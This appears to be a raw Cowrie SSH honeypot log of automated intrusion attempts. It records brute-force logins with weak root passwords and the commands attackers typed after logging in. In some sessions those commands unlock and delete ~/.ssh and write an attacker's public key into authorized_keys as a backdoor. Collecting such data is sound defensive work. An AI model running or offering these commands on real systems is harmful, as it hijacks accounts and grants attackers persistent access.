{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:37.254552Z","src_ip":"85.198.97.85","session":"12abca056349","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:37.389102Z","src_ip":"85.198.97.85","session":"12abca056349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:37.393829Z","src_ip":"85.198.97.85","session":"12abca056349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.126.209.36","src_port":31262,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf3f9064f6cd","protocol":"ssh","message":"New connection: 89.126.209.36:31262 (159.203.135.109:22) [session: bf3f9064f6cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:43.452785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:43.457841Z","src_ip":"89.126.209.36","session":"bf3f9064f6cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:44.370035Z","src_ip":"89.126.209.36","session":"bf3f9064f6cd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"441177","message":"login attempt [root/441177] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:44.914506Z","src_ip":"89.126.209.36","session":"bf3f9064f6cd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:47.039194Z","src_ip":"89.126.209.36","session":"bf3f9064f6cd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:47.042145Z","src_ip":"89.126.209.36","session":"bf3f9064f6cd","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:47.045225Z","src_ip":"89.126.209.36","session":"bf3f9064f6cd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:47.229780Z","src_ip":"89.126.209.36","session":"bf3f9064f6cd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:47.631878Z","src_ip":"89.126.209.36","session":"bf3f9064f6cd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:47.635159Z","src_ip":"89.126.209.36","session":"bf3f9064f6cd","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:47.822778Z","src_ip":"89.126.209.36","session":"bf3f9064f6cd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:47.826862Z","src_ip":"89.126.209.36","session":"bf3f9064f6cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.126.209.36","src_port":26362,"dst_ip":"159.203.135.109","dst_port":22,"session":"137e15cadeba","protocol":"ssh","message":"New connection: 89.126.209.36:26362 (159.203.135.109:22) [session: 137e15cadeba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:47.994451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:48.000774Z","src_ip":"89.126.209.36","session":"137e15cadeba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:48.176476Z","src_ip":"89.126.209.36","session":"137e15cadeba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:49.857445Z","src_ip":"89.126.209.36","session":"137e15cadeba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:51.036407Z","src_ip":"89.126.209.36","session":"137e15cadeba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.126.209.36","src_port":57521,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a9d8fb4fe26","protocol":"ssh","message":"New connection: 89.126.209.36:57521 (159.203.135.109:22) [session: 6a9d8fb4fe26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:51.215201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:51.223048Z","src_ip":"89.126.209.36","session":"6a9d8fb4fe26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:51.405771Z","src_ip":"89.126.209.36","session":"6a9d8fb4fe26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":50522,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c15fe94a42f","protocol":"ssh","message":"New connection: 80.94.92.186:50522 (10.17.0.5:22) [session: 7c15fe94a42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:51.850530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:52.018710Z","src_ip":"80.94.92.186","session":"7c15fe94a42f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:52.022112Z","src_ip":"80.94.92.186","session":"7c15fe94a42f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:53.088902Z","src_ip":"89.126.209.36","session":"6a9d8fb4fe26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:53.272934Z","src_ip":"89.126.209.36","session":"bf3f9064f6cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:53.279205Z","src_ip":"89.126.209.36","session":"6a9d8fb4fe26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:53.621014Z","src_ip":"80.94.92.186","session":"7c15fe94a42f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:54.857055Z","src_ip":"80.94.92.186","session":"7c15fe94a42f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.44.194","src_port":37732,"dst_ip":"10.17.0.5","dst_port":22,"session":"f244ac6f69ac","protocol":"ssh","message":"New connection: 190.181.44.194:37732 (10.17.0.5:22) [session: f244ac6f69ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:56.262491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:56.267181Z","src_ip":"190.181.44.194","session":"f244ac6f69ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:56.391940Z","src_ip":"190.181.44.194","session":"f244ac6f69ac","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Password@_","message":"login attempt [root/Password@_] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:56.903214Z","src_ip":"190.181.44.194","session":"f244ac6f69ac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:57.184369Z","src_ip":"190.181.44.194","session":"f244ac6f69ac","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:57.187255Z","src_ip":"190.181.44.194","session":"f244ac6f69ac","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:57.190921Z","src_ip":"190.181.44.194","session":"f244ac6f69ac","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:57.314776Z","src_ip":"190.181.44.194","session":"f244ac6f69ac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:57.596464Z","src_ip":"190.181.44.194","session":"f244ac6f69ac","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:57.599752Z","src_ip":"190.181.44.194","session":"f244ac6f69ac","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:57.725652Z","src_ip":"190.181.44.194","session":"f244ac6f69ac","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:57.730332Z","src_ip":"190.181.44.194","session":"f244ac6f69ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.44.194","src_port":37746,"dst_ip":"10.17.0.5","dst_port":22,"session":"de5de9f6f272","protocol":"ssh","message":"New connection: 190.181.44.194:37746 (10.17.0.5:22) [session: de5de9f6f272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:57.841942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:57.846457Z","src_ip":"190.181.44.194","session":"de5de9f6f272","protocol":"ssh"}
